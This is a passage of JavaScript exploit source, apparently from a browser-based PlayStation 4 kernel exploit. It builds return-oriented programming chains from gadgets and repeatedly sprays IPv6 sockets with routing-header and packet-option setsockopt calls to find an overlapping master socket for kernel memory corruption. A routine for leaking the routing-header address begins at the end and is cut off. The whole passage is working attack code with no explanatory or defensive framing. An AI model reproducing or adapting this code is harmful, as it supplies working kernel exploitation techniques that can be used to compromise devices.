| 546 | } |
| 547 | |
| 548 | function fake_pktopts(pktinfo) { |
| 549 | { |
| 550 | |
| 551 | chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, 0x100); |
| 552 | chain.push_write8(rthdr_buffer.add32(0x0), 0x0F001E00); |
| 553 | chain.push_write8(rthdr_buffer.add32(PKTOPTS_PKTINFO_OFFSET), pktinfo); |
| 554 | chain.push_write8(loop_counter, 0); |
| 555 | chain.push_write8(tmp_tclass, 0x1); |
| 556 | for (var i = 0; i < NUM_LEAK_SOCKS; i++) { |
| 557 | chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); |
| 558 | chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4); |
| 559 | } |
| 560 | chain.fcall(window.syscalls[105], overlapped_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); |
| 561 | |
| 562 | const loop_start = chain.get_rsp(); |
| 563 | const loop_condition = chain.create_equal_branch(loop_counter, 0x100); |
| 564 | |
| 565 | const loop_condition_false = chain.get_rsp(); |
| 566 | for (var i = 0; i < NUM_LEAK_SOCKS; i++) { |
| 567 | chain.push_write8(rthdr_buffer.add32(PKTOPTS_TCLASS_OFFSET), (TCLASS_MASTER | i)); |
| 568 | chain.syscall_safe(105, leak_sockets[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, 0xF8); |
| 569 | } |
| 570 | chain.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, size_of_tclass); |
| 571 | const overlap_condition = chain.create_greater_or_equal_branch(tmp_tclass, TCLASS_MASTER); |
| 572 | |
| 573 | const overlap_false = chain.get_rsp(); |
| 574 | chain.push(window.gadgets["pop rax"]); |
| 575 | chain.push(loop_counter); |
| 576 | chain.push(window.gadgets["inc dword [rax]"]); |
| 577 | chain.jmp_rsp(loop_start); |
| 578 | |
| 579 | const loop_condition_true = chain.get_rsp(); |
| 580 | const overlap_true = chain.get_rsp(); |
| 581 | |
| 582 | chain.set_branch_points(loop_condition, loop_condition_true, loop_condition_false); |
| 583 | chain.set_branch_points(overlap_condition, overlap_true, overlap_false); |
| 584 | } |
| 585 | chain.run(); |
| 586 | |
| 587 | const tclass = p.read4(tmp_tclass); |
| 588 | if ((tclass & 0xFFFF0000) == TCLASS_MASTER) { |
| 589 | overlapped_socket_idx = (tclass & 0x0000FFFF); |
| 590 | overlapped_socket = leak_sockets[overlapped_socket_idx]; |
| 591 | return; |
| 592 | } |
| 593 | alert("[ERROR] failed to find RTHDR <-> master socket overlap REBOOT"); |
| 594 | while (1) {}; |
| 595 | |
| 596 | } |
| 597 | |
| 598 | function leak_rthdr_address(size) { |
| 599 | const ip6r_len = ((size >> 3) - 1 & ~1); |